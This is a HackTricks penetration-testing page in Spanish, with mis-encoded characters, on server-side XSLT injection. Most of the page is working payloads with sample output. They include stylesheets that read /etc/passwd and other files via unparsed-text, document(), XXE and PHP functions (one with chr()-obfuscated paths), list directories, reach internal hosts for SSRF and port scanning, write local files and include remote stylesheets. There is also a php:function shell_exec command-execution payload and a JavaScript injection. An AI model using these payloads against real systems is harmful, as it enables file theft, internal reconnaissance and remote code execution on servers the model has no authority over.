HackTricksInyecci贸n del lado del servidor XSLT (Transformaciones de Lenguaje de Hojas de Estilo Extensibles)
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Informaci贸n B谩sica
XSLT es una tecnolog铆a empleada para transformar documentos XML en diferentes formatos. Viene en tres versiones: 1, 2 y 3, siendo la versi贸n 1 la m谩s com煤nmente utilizada. El proceso de transformaci贸n puede ejecutarse ya sea en el servidor o dentro del navegador.
Los frameworks que se utilizan con m谩s frecuencia incluyen:
- Libxslt de Gnome,
- Xalan de Apache,
- Saxon de Saxonica.
Para la explotaci贸n de vulnerabilidades asociadas con XSLT, es necesario que las etiquetas xsl se almacenen en el lado del servidor, seguido del acceso a ese contenido. Una ilustraci贸n de tal vulnerabilidad est谩 documentada en la siguiente fuente: https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/.
Ejemplo - Tutorial
bash
sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java
xml.xml
<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<cd>
<title>CD Title</title>
<artist>The artist</artist>
<company>Da Company</company>
<price>10000</price>
<year>1760</year>
</cd>
</catalog>
xsl.xsl
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td><xsl:value-of select="catalog/cd/title"/></td>
<td><xsl:value-of select="catalog/cd/artist"/></td>
</tr>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
Ejecutar:
xml
saxonb-xslt -xsl:xsl.xsl xml.xml
Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td>CD Title</td>
<td>The artist</td>
</tr>
</table>
</body>
</html>
Huella digital
detection.xsl
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>
Y ejecutar
xml
$saxonb-xslt -xsl:detection.xsl xml.xml
Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
Leer archivo local
read.xsl
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
xml
$ saxonb-xslt -xsl:read.xsl xml.xml
Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
SSRF
xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>
Versiones
Puede haber m谩s o menos funciones dependiendo de la versi贸n de XSLT utilizada:
Huella
Sube esto y toma informaci贸n
xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>
SSRF
xml
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>
Inyecci贸n de Javascript
xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>
Listado de directorios (PHP)
Opendir + readdir
xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>
Afirmar (var_dump + scandir + falso)
xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
<br />
</body>
</html>
Leer archivos
Interno - PHP
xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 鈥榰tf-8')"/>
</xsl:template>
</xsl:stylesheet>
Interno - XXE
xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>
A trav茅s de HTTP
xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
xml
<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>
Interno (funci贸n PHP)
xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>
xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
<br />
</body>
</html>
Escaneo de puertos
xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>
Escribir en un archivo
XSLT 2.0
xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>
Extensi贸n Xalan-J
xml
<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>
Otras formas de escribir archivos en el PDF
Incluir XSL externo
xml
<xsl:include href="http://extenal.web/external.xsl"/>
xml
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
Ejecutar c贸digo
php:function
xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>
xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>
Ejecutar c贸digo utilizando otros frameworks en el PDF
M谩s Lenguajes
En esta p谩gina puedes encontrar ejemplos de RCE en otros lenguajes: https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET (C#, Java, PHP)
Acceder a funciones est谩ticas de PHP desde clases
La siguiente funci贸n llamar谩 al m茅todo est谩tico stringToUrl de la clase XSL:
xml
<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
<!-- We use the php suffix to call the static class function stringToUrl() -->
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-脿脭|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</html>
</xsl:template>
</xsl:stylesheet>
(Example from http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls)
M谩s Payloads
- Check https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection
- Check https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection
Lista de Detecci贸n de Fuerza Bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
Referencias
- XSLT_SSRF\
- http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf\
- http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.